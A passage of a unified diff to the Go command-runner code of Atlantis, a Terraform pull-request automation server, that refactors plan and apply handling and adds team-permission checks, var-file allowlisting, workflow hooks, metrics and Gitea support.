"github.com/runatlantis/atlantis/server/utils" + tally "github.com/uber-go/tally/v4" + gitlab "gitlab.com/gitlab-org/api/client-go" ) const ( ShutdownComment = "Atlantis server is shutting down, please try again later." ) -//go:generate pegomock generate -m --use-experimental-model-gen --package mocks -o mocks/mock_command_runner.go CommandRunner +//go:generate pegomock generate github.com/runatlantis/atlantis/server/events --package mocks -o mocks/mock_command_runner.go CommandRunner // CommandRunner is the first step after a command request has been parsed. type CommandRunner interface { @@ -44,44 +48,67 @@ type CommandRunner interface { RunAutoplanCommand(baseRepo models.Repo, headRepo models.Repo, pull models.PullRequest, user models.User) } -//go:generate pegomock generate -m --use-experimental-model-gen --package mocks -o mocks/mock_github_pull_getter.go GithubPullGetter +//go:generate pegomock generate github.com/runatlantis/atlantis/server/events --package mocks -o mocks/mock_github_pull_getter.go GithubPullGetter // GithubPullGetter makes API calls to get pull requests. type GithubPullGetter interface { // GetPullRequest gets the pull request with id pullNum for the repo. - GetPullRequest(repo models.Repo, pullNum int) (*github.PullRequest, error) + GetPullRequest(logger logging.SimpleLogging, repo models.Repo, pullNum int) (*github.PullRequest, error) } -//go:generate pegomock generate -m --use-experimental-model-gen --package mocks -o mocks/mock_azuredevops_pull_getter.go AzureDevopsPullGetter +//go:generate pegomock generate github.com/runatlantis/atlantis/server/events --package mocks -o mocks/mock_azuredevops_pull_getter.go AzureDevopsPullGetter // AzureDevopsPullGetter makes API calls to get pull requests. type AzureDevopsPullGetter interface { // GetPullRequest gets the pull request with id pullNum for the repo. - GetPullRequest(repo models.Repo, pullNum int) (*azuredevops.GitPullRequest, error) + GetPullRequest(logger logging.SimpleLogging, repo models.Repo, pullNum int) (*azuredevops.GitPullRequest, error) } -//go:generate pegomock generate -m --use-experimental-model-gen --package mocks -o mocks/mock_gitlab_merge_request_getter.go GitlabMergeRequestGetter +//go:generate pegomock generate github.com/runatlantis/atlantis/server/events --package mocks -o mocks/mock_gitlab_merge_request_getter.go GitlabMergeRequestGetter // GitlabMergeRequestGetter makes API calls to get merge requests. type GitlabMergeRequestGetter interface { // GetMergeRequest gets the pull request with the id pullNum for the repo. - GetMergeRequest(repoFullName string, pullNum int) (*gitlab.MergeRequest, error) + GetMergeRequest(logger logging.SimpleLogging, repoFullName string, pullNum int) (*gitlab.MergeRequest, error) +} + +// CommentCommandRunner runs individual command workflows. +type CommentCommandRunner interface { + Run(*command.Context, *CommentCommand) +} + +func buildCommentCommandRunner( + cmdRunner *DefaultCommandRunner, + cmdName command.Name, +) CommentCommandRunner { + // panic here, we want to fail fast and hard since + // this would be an internal service configuration error. + runner, ok := cmdRunner.CommentCommandRunnerByCmd[cmdName] + + if !ok { + panic(fmt.Sprintf("command runner not configured for command %s", cmdName.String())) + } + + return runner } // DefaultCommandRunner is the first step when processing a comment command. type DefaultCommandRunner struct { - VCSClient vcs.Client + VCSClient vcs.Client `validate:"required"` GithubPullGetter GithubPullGetter AzureDevopsPullGetter AzureDevopsPullGetter GitlabMergeRequestGetter GitlabMergeRequestGetter - CommitStatusUpdater CommitStatusUpdater - DisableApplyAll bool - DisableApply bool - DisableAutoplan bool - EventParser EventParsing - MarkdownRenderer *MarkdownRenderer - Logger logging.SimpleLogging - // AllowForkPRs controls whether we operate on pull requests from forks. + GiteaPullGetter *gitea.GiteaClient + // User config option: Disables autoplan when a pull request is opened or updated. + DisableAutoplan bool + DisableAutoplanLabel string + EventParser EventParsing + // User config option: Fail and do not run the Atlantis command request if any of the pre workflow hooks error + FailOnPreWorkflowHookError bool + Logger logging.SimpleLogging `validate:"required"` + GlobalCfg valid.GlobalCfg `validate:"required"` + StatsScope tally.Scope `validate:"required"` + // User config option: controls whether to operate on pull requests from forks. AllowForkPRs bool // ParallelPoolSize controls the size of the wait group used to run // parallel plans and applies (if enabled). @@ -90,33 +117,26 @@ type DefaultCommandRunner struct { // this in our error message back to the user on a forked PR so they know // how to enable this functionality. AllowForkPRsFlag string - // HidePrevPlanComments will hide previous plan comments to declutter PRs. - HidePrevPlanComments bool - // SilenceForkPRErrors controls whether to comment on Fork PRs when AllowForkPRs = False + // User config option: controls whether to comment on Fork PRs when AllowForkPRs = False SilenceForkPRErrors bool // SilenceForkPRErrorsFlag is the name of the flag that controls fork PR's. We use // this in our error message back to the user on a forked PR so they know // how to disable error comment - SilenceForkPRErrorsFlag string - // SilenceVCSStatusNoPlans is whether autoplan should set commit status if no plans - // are found - SilenceVCSStatusNoPlans bool - ProjectCommandBuilder ProjectCommandBuilder - ProjectCommandRunner ProjectCommandRunner - // GlobalAutomerge is true if we should automatically merge pull requests if all - // plans have been successfully applied. This is set via a CLI flag. - GlobalAutomerge bool - PendingPlanFinder PendingPlanFinder - WorkingDir WorkingDir - DB *db.BoltDB - Drainer *Drainer - DeleteLockCommand DeleteLockCommand + SilenceForkPRErrorsFlag string + CommentCommandRunnerByCmd map[command.Name]CommentCommandRunner `validate:"required"` + Drainer *Drainer `validate:"required"` + PreWorkflowHooksCommandRunner PreWorkflowHooksCommandRunner `validate:"required"` + PostWorkflowHooksCommandRunner PostWorkflowHooksCommandRunner `validate:"required"` + PullStatusFetcher PullStatusFetcher `validate:"required"` + TeamAllowlistChecker command.TeamAllowlistChecker `validate:"required"` + VarFileAllowlistChecker *VarFileAllowlistChecker `validate:"required"` + CommitStatusUpdater CommitStatusUpdater `validate:"required"` } -// RunAutoplanCommand runs plan when a pull request is opened or updated. +// RunAutoplanCommand runs plan and policy_checks when a pull request is opened or updated. func (c *DefaultCommandRunner) RunAutoplanCommand(baseRepo models.Repo, headRepo models.Repo, pull models.PullRequest, user models.User) { if opStarted := c.Drainer.StartOp(); !opStarted { - if commentErr := c.VCSClient.CreateComment(baseRepo, pull.Num, ShutdownComment, models.PlanCommand.String()); commentErr != nil { + if commentErr := c.VCSClient.CreateComment(c.Logger, baseRepo, pull.Num, ShutdownComment, command.Plan.String()); commentErr != nil { c.Logger.Log(logging.Error, "unable to comment that Atlantis is shutting down: %s", commentErr) } return @@ -125,68 +145,138 @@ func (c *DefaultCommandRunner) RunAutoplanCommand(baseRepo models.Repo, headRepo log := c.buildLogger(baseRepo.FullName, pull.Num) defer c.logPanics(baseRepo, pull.Num, log) - ctx := &CommandContext{ - User: user, - Log: log, - Pull: pull, - HeadRepo: headRepo, + status, err := c.PullStatusFetcher.GetPullStatus(pull) + + if err != nil { + log.Err("Unable to fetch pull status, this is likely a bug.", err) + } + + scope := c.StatsScope.SubScope("autoplan") + timer := scope.Timer(metrics.ExecutionTimeMetric).Start() + defer timer.Stop() + + // Check if the user who triggered the autoplan has permissions to run 'plan'. + if c.TeamAllowlistChecker != nil && c.TeamAllowlistChecker.HasRules() { + err := c.fetchUserTeams(log, baseRepo, &user) + if err != nil { + log.Err("Unable to fetch user teams: %s", err) + return + } + + ok, err := c.checkUserPermissions(baseRepo, user, "plan") + if err != nil { + log.Err("Unable to check user permissions: %s", err) + return + } + if !ok { + return + } } - if !c.validateCtxAndComment(ctx) { + + ctx := &command.Context{ + User: user, + Log: log, + Scope: scope, + Pull: pull, + HeadRepo: headRepo, + PullStatus: status, + Trigger: command.AutoTrigger, + } + if !c.validateCtxAndComment(ctx, command.Autoplan) { return } if c.DisableAutoplan { return } - - projectCmds, err := c.ProjectCommandBuilder.BuildAutoplanCommands(ctx) - if err != nil { - if statusErr := c.CommitStatusUpdater.UpdateCombined(ctx.Pull.BaseRepo, ctx.Pull, models.FailedCommitStatus, models.PlanCommand); statusErr != nil { - ctx.Log.Warn("unable to update commit status: %s", statusErr) + if len(c.DisableAutoplanLabel) > 0 { + labels, err := c.VCSClient.GetPullLabels(ctx.Log, baseRepo, pull) + if err != nil { + ctx.Log.Err("Unable to get VCS pull/merge request labels: %s. Proceeding with autoplan.", err) + } else if utils.SlicesContains(labels, c.DisableAutoplanLabel) { + ctx.Log.Info("Pull/merge request has disable auto plan label '%s' so not running autoplan.", c.DisableAutoplanLabel) + return } + } - c.updatePull(ctx, AutoplanCommand{}, CommandResult{Error: err}) - return + ctx.Log.Info("Running autoplan...") + cmd := &CommentCommand{ + Name: command.Autoplan, + } + + // Update the combined plan commit status to pending + if err := c.CommitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.PendingCommitStatus, command.Plan); err != nil { + ctx.Log.Warn("unable to update plan commit status: %s", err) } - if len(projectCmds) == 0 { - log.Info("determined there was no project to run plan in") - if !c.SilenceVCSStatusNoPlans { - // If there were no projects modified, we set a successful commit status - // with 0/0 projects planned successfully because some users require - // the Atlantis status to be passing for all pull requests. - ctx.Log.Debug("setting VCS status to success with no projects found") - if err := c.CommitStatusUpdater.UpdateCombinedCount(baseRepo, pull, models.SuccessCommitStatus, models.PlanCommand, 0, 0); err != nil { - ctx.Log.Warn("unable to update commit status: %s", err) + + err = c.PreWorkflowHooksCommandRunner.RunPreHooks(ctx, cmd) + + if err != nil { + if c.FailOnPreWorkflowHookError { + ctx.Log.Err("'fail-on-pre-workflow-hook-error' set, so not running %s command.", command.Plan) + + // Update the plan or apply commit status to failed + switch cmd.Name { + case command.Plan: + if err := c.CommitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.FailedCommitStatus, command.Plan); err != nil { + ctx.Log.Warn("Unable to update plan commit status: %s", err) + } + case command.Apply: + if err := c.CommitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.FailedCommitStatus, command.Apply); err != nil { + ctx.Log.Warn("Unable to update apply commit status: %s", err) + } } + + return } - return - } - // At this point we are sure Atlantis has work to do, so set commit status to pending - if err := c.CommitStatusUpdater.UpdateCombined(ctx.Pull.BaseRepo, ctx.Pull, models.PendingCommitStatus, models.PlanCommand); err != nil { - ctx.Log.Warn("unable to update commit status: %s", err) + ctx.Log.Err("'fail-on-pre-workflow-hook-error' not set so running %s command.", command.Plan) } - // Only run commands in parallel if enabled - var result CommandResult - if c.parallelPlanEnabled(ctx, projectCmds) { - ctx.Log.Info("Running plans in parallel") - result = c.runProjectCmdsParallel(projectCmds, models.PlanCommand) - } else { - result = c.runProjectCmds(projectCmds, models.PlanCommand) - } + autoPlanRunner := buildCommentCommandRunner(c, command.Plan) + + autoPlanRunner.Run(ctx, nil) + + c.PostWorkflowHooksCommandRunner.RunPostHooks(ctx, cmd) // nolint: errcheck +} - if c.automergeEnabled(ctx, projectCmds) && result.HasErrors() { - ctx.Log.Info("deleting plans because there were errors and automerge requires all plans succeed") - c.deletePlans(ctx) - result.PlansDeleted = true +// commentUserDoesNotHavePermissions comments on the pull request that the user +// is not allowed to execute the command. +func (c *DefaultCommandRunner) commentUserDoesNotHavePermissions(baseRepo models.Repo, pullNum int, user models.User, cmd *CommentCommand) { + errMsg := fmt.Sprintf("```\nError: User @%s does not have permissions to execute '%s' command.\n```", user.Username, cmd.Name.String()) + if err := c.VCSClient.CreateComment(c.Logger, baseRepo, pullNum, errMsg, ""); err != nil { + c.Logger.Err("unable to comment on pull request: %s", err) } - c.updatePull(ctx, AutoplanCommand{}, result) - pullStatus, err := c.updateDB(ctx, ctx.Pull, result.ProjectResults) - if err != nil { - c.Logger.Err("writing results: %s", err) +} + +// checkUserPermissions checks if the user has permissions to execute the command +func (c *DefaultCommandRunner) checkUserPermissions(repo models.Repo, user models.User, cmdName string) (bool, error) { + if c.TeamAllowlistChecker == nil || !c.TeamAllowlistChecker.HasRules() { + // allowlist restriction is not enabled + return true, nil + } + ctx := models.TeamAllowlistCheckerContext{ + BaseRepo: repo, + CommandName: cmdName, + Log: c.Logger, + Pull: models.PullRequest{}, + User: user, + Verbose: false, + API: false, + } + ok := c.TeamAllowlistChecker.IsCommandAllowedForAnyTeam(ctx, user.Teams, cmdName) + if !ok { + return false, nil + } + return true, nil +} + +// checkVarFilesInPlanCommandAllowlisted checks if paths in a 'plan' command are allowlisted. +func (c *DefaultCommandRunner) checkVarFilesInPlanCommandAllowlisted(cmd *CommentCommand) error { + if cmd == nil || cmd.CommandName() != command.Plan { + return nil } - c.updateCommitStatus(ctx, models.PlanCommand, pullStatus) + return c.VarFileAllowlistChecker.Check(cmd.Flags) } // RunCommentCommand executes the command. @@ -196,7 +286,7 @@ func (c *DefaultCommandRunner) RunAutoplanCommand(baseRepo models.Repo, headRepo // wasteful) call to get the necessary data. func (c *DefaultCommandRunner) RunCommentCommand(baseRepo models.Repo, maybeHeadRepo *models.Repo, maybePull *models.PullRequest, user models.User, pullNum int, cmd *CommentCommand) { if opStarted := c.Drainer.StartOp(); !opStarted { - if commentErr := c.VCSClient.CreateComment(baseRepo, pullNum, ShutdownComment, ""); commentErr != nil { + if commentErr := c.VCSClient.CreateComment(c.Logger, baseRepo, pullNum, ShutdownComment, ""); commentErr != nil { c.Logger.Log(logging.Error, "unable to comment that Atlantis is shutting down: %s", commentErr) } return @@ -206,280 +296,148 @@ func (c *DefaultCommandRunner) RunCommentCommand(baseRepo models.Repo, maybeHead log := c.buildLogger(baseRepo.FullName, pullNum) defer c.logPanics(baseRepo, pullNum, log) - if c.DisableApply && cmd.Name == models.ApplyCommand { - log.Info("ignoring apply command since apply disabled globally") - if err := c.VCSClient.CreateComment(baseRepo, pullNum, applyDisabledComment, models.ApplyCommand.String()); err != nil { - log.Err("unable to comment on pull request: %s", err) - } - return - } - - if c.DisableApplyAll && cmd.Name == models.ApplyCommand && !cmd.IsForSpecificProject() { - log.Info("ignoring apply command without flags since apply all is disabled") - if err := c.VCSClient.CreateComment(baseRepo, pullNum, applyAllDisabledComment, models.ApplyCommand.String()); err != nil { - log.Err("unable to comment on pull request: %s", err) - } - return - } + scope := c.StatsScope.SubScope("comment") - var headRepo models.Repo - if maybeHeadRepo != nil { - headRepo = *maybeHeadRepo + if cmd != nil { + scope = scope.SubScope(cmd.Name.String()) } + timer := scope.Timer(metrics.ExecutionTimeMetric).Start() + defer timer.Stop() - var err error - var pull models.PullRequest - switch baseRepo.VCSHost.Type { - case models.Github: - pull, headRepo, err = c.getGithubData(baseRepo, pullNum) - case models.Gitlab: - pull, err = c.getGitlabData(baseRepo, pullNum) - case models.BitbucketCloud, models.BitbucketServer: - if maybePull == nil { - err = errors.New("pull request should not be nil–this is a bug") - break - } - pull = *maybePull - case models.AzureDevops: - pull, headRepo, err = c.getAzureDevopsData(baseRepo, pullNum) - default: - err = errors.New("Unknown VCS type–this is a bug") - } - if err != nil { - log.Err(err.Error()) - if commentErr := c.VCSClient.CreateComment(baseRepo, pullNum, fmt.Sprintf("`Error: %s`", err), ""); commentErr != nil { - log.Err("unable to comment: %s", commentErr) + // Check if the user who commented has the permissions to execute the 'plan' or 'apply' commands + if c.TeamAllowlistChecker != nil && c.TeamAllowlistChecker.HasRules() { + err := c.fetchUserTeams(log, baseRepo, &user) + if err != nil { + c.Logger.Err("Unable to fetch user teams: %s", err) + return } - return - } - ctx := &CommandContext{ - User: user, - Log: log, - Pull: pull, - HeadRepo: headRepo, - } - if !c.validateCtxAndComment(ctx) { - return - } - if cmd.Name == models.UnlockCommand { - vcsMessage := "All Atlantis locks for this PR have been unlocked and plans discarded" - err := c.DeleteLockCommand.DeleteLocksByPull(baseRepo.FullName, pullNum) + ok, err := c.checkUserPermissions(baseRepo, user, cmd.Name.String()) if err != nil { - vcsMessage = "Failed to delete PR locks" - log.Err("failed to delete locks by pull %s", err.Error()) + c.Logger.Err("Unable to check user permissions: %s", err) + return } - if commentErr := c.VCSClient.CreateComment(baseRepo, pullNum, vcsMessage, models.UnlockCommand.String()); commentErr != nil { - log.Err("unable to comment: %s", commentErr) + if !ok { + c.commentUserDoesNotHavePermissions(baseRepo, pullNum, user, cmd) + return } - return } - if cmd.CommandName() == models.ApplyCommand { - // Get the mergeable status before we set any build statuses of our own. - // We do this here because when we set a "Pending" status, if users have - // required the Atlantis status checks to pass, then we've now changed - // the mergeability status of the pull request. - ctx.PullMergeable, err = c.VCSClient.PullIsMergeable(baseRepo, pull) - if err != nil { - // On error we continue the request with mergeable assumed false. - // We want to continue because not all apply's will need this status, - // only if they rely on the mergeability requirement. - ctx.PullMergeable = false - ctx.Log.Warn("unable to get mergeable status: %s. Continuing with mergeable assumed false", err) + // Check if the provided var files in a 'plan' command are allowlisted + if err := c.checkVarFilesInPlanCommandAllowlisted(cmd); err != nil { + errMsg := fmt.Sprintf("```\n%s\n```", err.Error()) + if commentErr := c.VCSClient.CreateComment(c.Logger, baseRepo, pullNum, errMsg, ""); commentErr != nil { + c.Logger.Err("unable to comment on pull request: %s", commentErr) } - ctx.Log.Info("pull request mergeable status: %t", ctx.PullMergeable) - } - - if err = c.CommitStatusUpdater.UpdateCombined(baseRepo, pull, models.PendingCommitStatus, cmd.CommandName()); err != nil { - ctx.Log.Warn("unable to update commit status: %s", err) - } - - var projectCmds []models.ProjectCommandContext - switch cmd.Name { - case models.PlanCommand: - projectCmds, err = c.ProjectCommandBuilder.BuildPlanCommands(ctx, cmd) - case models.ApplyCommand: - projectCmds, err = c.ProjectCommandBuilder.BuildApplyCommands(ctx, cmd) - default: - ctx.Log.Err("failed to determine desired command, neither plan nor apply") return } + + headRepo, pull, err := c.ensureValidRepoMetadata(baseRepo, maybeHeadRepo, maybePull, user, pullNum, log) if err != nil { - if statusErr := c.CommitStatusUpdater.UpdateCombined(ctx.Pull.BaseRepo, ctx.Pull, models.FailedCommitStatus, cmd.CommandName()); statusErr != nil { - ctx.Log.Warn("unable to update commit status: %s", statusErr) - } - c.updatePull(ctx, cmd, CommandResult{Error: err}) return } - // Only run commands in parallel if enabled - var result CommandResult - if cmd.Name == models.ApplyCommand && c.parallelApplyEnabled(ctx, projectCmds) { - ctx.Log.Info("Running applies in parallel") - result = c.runProjectCmdsParallel(projectCmds, cmd.Name) - } else if cmd.Name == models.PlanCommand && c.parallelPlanEnabled(ctx, projectCmds) { - ctx.Log.Info("Running plans in parallel") - result = c.runProjectCmdsParallel(projectCmds, cmd.Name) - } else { - result = c.runProjectCmds(projectCmds, cmd.Name) - } - - if cmd.Name == models.PlanCommand && c.automergeEnabled(ctx, projectCmds) && result.HasErrors() { - ctx.Log.Info("deleting plans because there were errors and automerge requires all plans succeed") - c.deletePlans(ctx) - result.PlansDeleted = true - } - - c.updatePull( - ctx, - cmd, - result) + status, err := c.PullStatusFetcher.GetPullStatus(pull) - pullStatus, err := c.updateDB(ctx, pull, result.ProjectResults) if err != nil { - c.Logger.Err("writing results: %s", err) - return + log.Err("Unable to fetch pull status, this is likely a bug.", err) } - c.updateCommitStatus(ctx, cmd.Name, pullStatus) + ctx := &command.Context{ + User: user, + Log: log, + Pull: pull, + PullStatus: status, + HeadRepo: headRepo, + Scope: scope, + Trigger: command.CommentTrigger, + PolicySet: cmd.PolicySet, + ClearPolicyApproval: cmd.ClearPolicyApproval, + TeamAllowlistChecker: c.TeamAllowlistChecker, + } - if cmd.Name == models.ApplyCommand && c.automergeEnabled(ctx, projectCmds) { - c.automerge(ctx, pullStatus) + if !c.validateCtxAndComment(ctx, cmd.Name) { + return } -} -func (c *DefaultCommandRunner) updateCommitStatus(ctx *CommandContext, cmd models.CommandName, pullStatus models.PullStatus) { - var numSuccess int - var status models.CommitStatus - - if cmd == models.PlanCommand { - // We consider anything that isn't a plan error as a plan success. - // For example, if there is an apply error, that means that at least a - // plan was generated successfully. - numSuccess = len(pullStatus.Projects) - pullStatus.StatusCount(models.ErroredPlanStatus) - status = models.SuccessCommitStatus - if numSuccess != len(pullStatus.Projects) { - status = models.FailedCommitStatus + // Update the combined plan or apply commit status to pending + switch cmd.Name { + case command.Plan: + if err := c.CommitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.PendingCommitStatus, command.Plan); err != nil { + ctx.Log.Warn("unable to update plan commit status: %s", err) } - } else { - numSuccess = pullStatus.StatusCount(models.AppliedPlanStatus) - - numErrored := pullStatus.StatusCount(models.ErroredApplyStatus) - status = models.SuccessCommitStatus - if numErrored > 0 { - status = models.FailedCommitStatus - } else if numSuccess < len(pullStatus.Projects) { - // If there are plans that haven't been applied yet, we'll use a pending - // status. - status = models.PendingCommitStatus + case command.Apply: + if err := c.CommitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.PendingCommitStatus, command.Apply); err != nil { + ctx.Log.Warn("unable to update apply commit status: %s", err) } } - if err := c.CommitStatusUpdater.UpdateCombinedCount(ctx.Pull.BaseRepo, ctx.Pull, status, cmd, numSuccess, len(pullStatus.Projects)); err != nil { - ctx.Log.Warn("unable to update commit status: %s", err) - } -} + err = c.PreWorkflowHooksCommandRunner.RunPreHooks(ctx, cmd) + + if err != nil { + if c.FailOnPreWorkflowHookError { + ctx.Log.Err("'fail-on-pre-workflow-hook-error' set, so not running %s command.", cmd.Name.String()) + + // Update the plan or apply commit status to failed + switch cmd.Name { + case command.Plan: + if err := c.CommitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.FailedCommitStatus, command.Plan); err != nil { + ctx.Log.Warn("unable to update plan commit status: %s", err) + } + case command.Apply: + if err := c.CommitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.FailedCommitStatus, command.Apply); err != nil { + ctx.Log.Warn("unable to update apply commit status: %s", err) + } + } -func (c *DefaultCommandRunner) automerge(ctx *CommandContext, pullStatus models.PullStatus) { - // We only automerge if all projects have been successfully applied. - for _, p := range pullStatus.Projects { - if p.Status != models.AppliedPlanStatus { - ctx.Log.Info("not automerging because project at dir %q, workspace %q has status %q", p.RepoRelDir, p.Workspace, p.Status.String()) return } - } - // Comment that we're automerging the pull request. - if err := c.VCSClient.CreateComment(ctx.Pull.BaseRepo, ctx.Pull.Num, automergeComment, models.ApplyCommand.String()); err != nil { - ctx.Log.Err("failed to comment about automerge: %s", err) - // Commenting isn't required so continue. + ctx.Log.Err("'fail-on-pre-workflow-hook-error' not set so running %s command.", cmd.Name.String()) } - // Make the API call to perform the merge. - ctx.Log.Info("automerging pull request") - err := c.VCSClient.MergePull(ctx.Pull) + cmdRunner := buildCommentCommandRunner(c, cmd.CommandName()) - if err != nil { - ctx.Log.Err("automerging failed: %s", err) + cmdRunner.Run(ctx, cmd) - failureComment := fmt.Sprintf("Automerging failed:\n```\n%s\n```", err) - if commentErr := c.VCSClient.CreateComment(ctx.Pull.BaseRepo, ctx.Pull.Num, failureComment, models.ApplyCommand.String()); commentErr != nil { - ctx.Log.Err("failed to comment about automerge failing: %s", err) - } - } + c.PostWorkflowHooksCommandRunner.RunPostHooks(ctx, cmd) // nolint: errcheck } -func (c *DefaultCommandRunner) runProjectCmdsParallel(cmds []models.ProjectCommandContext, cmdName models.CommandName) CommandResult { - var results []models.ProjectResult - mux := &sync.Mutex{} - - wg := sizedwaitgroup.New(c.ParallelPoolSize) - for _, pCmd := range cmds { - pCmd := pCmd - var execute func() - wg.Add() - - switch cmdName { - case models.PlanCommand: - execute = func() { - defer wg.Done() - res := c.ProjectCommandRunner.Plan(pCmd) - mux.Lock() - results = append(results, res) - mux.Unlock() - } - case models.ApplyCommand: - execute = func() { - defer wg.Done() - res := c.ProjectCommandRunner.Apply(pCmd) - mux.Lock() - results = append(results, res) - mux.Unlock() - } - } - go execute() +func (c *DefaultCommandRunner) getGithubData(logger logging.SimpleLogging, baseRepo models.Repo, pullNum int) (models.PullRequest, models.Repo, error) { + if c.GithubPullGetter == nil { + return models.PullRequest{}, models.Repo{}, errors.New("Atlantis not configured to support GitHub") } - - wg.Wait() - return CommandResult{ProjectResults: results} -} - -func (c *DefaultCommandRunner) runProjectCmds(cmds []models.ProjectCommandContext, cmdName models.CommandName) CommandResult { - var results []models.ProjectResult - for _, pCmd := range cmds { - var res models.ProjectResult - switch cmdName { - case models.PlanCommand: - res = c.ProjectCommandRunner.Plan(pCmd) - case models.ApplyCommand: - res = c.ProjectCommandRunner.Apply(pCmd) - } - results = append(results, res) + ghPull, err := c.GithubPullGetter.GetPullRequest(logger, baseRepo, pullNum) + if err != nil { + return models.PullRequest{}, models.Repo{}, errors.Wrap(err, "making pull request API call to GitHub") + } + pull, _, headRepo, err := c.EventParser.ParseGithubPull(logger, ghPull) + if err != nil { + return pull, headRepo, errors.Wrap(err, "extracting required fields from comment data") } - return CommandResult{ProjectResults: results} + return pull, headRepo, nil } -func (c *DefaultCommandRunner) getGithubData(baseRepo models.Repo, pullNum int) (models.PullRequest, models.Repo, error) { - if c.GithubPullGetter == nil { - return models.PullRequest{}, models.Repo{}, errors.New("Atlantis not configured to support GitHub") +func (c *DefaultCommandRunner) getGiteaData(logger logging.SimpleLogging, baseRepo models.Repo, pullNum int) (models.PullRequest, models.Repo, error) { + if c.GiteaPullGetter == nil { + return models.PullRequest{}, models.Repo{}, errors.New("Atlantis not configured to support Gitea") } - ghPull, err := c.GithubPullGetter.GetPullRequest(baseRepo, pullNum) + giteaPull, err := c.GiteaPullGetter.GetPullRequest(logger, baseRepo, pullNum) if err != nil { - return models.PullRequest{}, models.Repo{}, errors.Wrap(err, "making pull request API call to GitHub") + return models.PullRequest{}, models.Repo{}, errors.Wrap(err, "making pull request API call to Gitea") } - pull, _, headRepo, err := c.EventParser.ParseGithubPull(ghPull) + pull, _, headRepo, err := c.EventParser.ParseGiteaPull(giteaPull) if err != nil { return pull, headRepo, errors.Wrap(err, "extracting required fields from comment data") } return pull, headRepo, nil } -func (c *DefaultCommandRunner) getGitlabData(baseRepo models.Repo, pullNum int) (models.PullRequest, error) { +func (c *DefaultCommandRunner) getGitlabData(logger logging.SimpleLogging, baseRepo models.Repo, pullNum int) (models.PullRequest, error) { if c.GitlabMergeRequestGetter == nil { return models.PullRequest{}, errors.New("Atlantis not configured to support GitLab") } - mr, err := c.GitlabMergeRequestGetter.GetMergeRequest(baseRepo.FullName, pullNum) + mr, err := c.GitlabMergeRequestGetter.GetMergeRequest(logger, baseRepo.FullName, pullNum) if err != nil { return models.PullRequest{}, errors.Wrap(err, "making merge request API call to GitLab") } @@ -487,11 +445,11 @@ func (c *DefaultCommandRunner) getGitlabData(baseRepo models.Repo, pullNum int) return pull, nil } -func (c *DefaultCommandRunner) getAzureDevopsData(baseRepo models.Repo, pullNum int) (models.PullRequest, models.Repo, error) { +func (c *DefaultCommandRunner) getAzureDevopsData(logger logging.SimpleLogging, baseRepo models.Repo, pullNum int) (models.PullRequest, models.Repo, error) { if c.AzureDevopsPullGetter == nil { return models.PullRequest{}, models.Repo{}, errors.New("atlantis not configured to support Azure DevOps") } - adPull, err := c.AzureDevopsPullGetter.GetPullRequest(baseRepo, pullNum) + adPull, err := c.AzureDevopsPullGetter.GetPullRequest(logger, baseRepo, pullNum) if err != nil { return models.PullRequest{}, models.Repo{}, errors.Wrap(err, "making pull request API call to Azure DevOps") } @@ -502,54 +460,92 @@ func (c *DefaultCommandRunner) getAzureDevopsData(baseRepo models.Repo, pullNum return pull, headRepo, nil } -func (c *DefaultCommandRunner) buildLogger(repoFullName string, pullNum int) *logging.SimpleLogger { - src := fmt.Sprintf("%s#%d", repoFullName, pullNum) - return c.Logger.NewLogger(src, true, c.Logger.GetLevel()) +func (c *DefaultCommandRunner) buildLogger(repoFullName string, pullNum int) logging.SimpleLogging { + + return c.Logger.WithHistory( + "repo", repoFullName, + "pull", strconv.Itoa(pullNum), + ) } -func (c *DefaultCommandRunner) validateCtxAndComment(ctx *CommandContext) bool { +func (c *DefaultCommandRunner) ensureValidRepoMetadata( + baseRepo models.Repo, + maybeHeadRepo *models.Repo, + maybePull *models.PullRequest, + _ models.User, + pullNum int, + log logging.SimpleLogging, +) (headRepo models.Repo, pull models.PullRequest, err error) { + if maybeHeadRepo != nil { + headRepo = *maybeHeadRepo + } + + switch baseRepo.VCSHost.Type { + case models.Github: + pull, headRepo, err = c.getGithubData(log, baseRepo, pullNum) + case models.Gitlab: + pull, err = c.getGitlabData(log, baseRepo, pullNum) + case models.BitbucketCloud, models.BitbucketServer: + if maybePull == nil { + err = errors.New("pull request should not be nil–this is a bug") + break + } + pull = *maybePull + case models.AzureDevops: + pull, headRepo, err = c.getAzureDevopsData(log, baseRepo, pullNum) + case models.Gitea: + pull, headRepo, err = c.getGiteaData(log, baseRepo, pullNum) + default: + err = errors.New("Unknown VCS type–this is a bug") + } + + if err != nil { + log.Err(err.Error()) + if commentErr := c.VCSClient.CreateComment(c.Logger, baseRepo, pullNum, fmt.Sprintf("`Error: %s`", err), ""); commentErr != nil { + log.Err("unable to comment: %s", commentErr) + } + } + + return +} + +func (c *DefaultCommandRunner) fetchUserTeams(logger logging.SimpleLogging, repo models.Repo, user *models.User) error { + teams, err := c.VCSClient.GetTeamNamesForUser(logger, repo, *user) + if err != nil { + return err + } + + user.Teams = teams + return nil +} + +func (c *DefaultCommandRunner) validateCtxAndComment(ctx *command.Context, commandName command.Name) bool { if !c.AllowForkPRs && ctx.HeadRepo.Owner != ctx.Pull.BaseRepo.Owner { if c.SilenceForkPRErrors { return false } ctx.Log.Info("command was run on a fork pull request which is disallowed") - if err := c.VCSClient.CreateComment(ctx.Pull.BaseRepo, ctx.Pull.Num, fmt.Sprintf("Atlantis commands can't be run on fork pull requests. To enable, set --%s or, to disable this message, set --%s", c.AllowForkPRsFlag, c.SilenceForkPRErrorsFlag), ""); err != nil { + if err := c.VCSClient.CreateComment(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull.Num, fmt.Sprintf("Atlantis commands can't be run on fork pull requests. To enable, set --%s or, to disable this message, set --%s", c.AllowForkPRsFlag, c.SilenceForkPRErrorsFlag), ""); err != nil { ctx.Log.Err("unable to comment: %s", err) } return false } - if ctx.Pull.State != models.OpenPullState { + if ctx.Pull.State != models.OpenPullState && commandName != command.Unlock { ctx.Log.Info("command was run on closed pull request") - if err 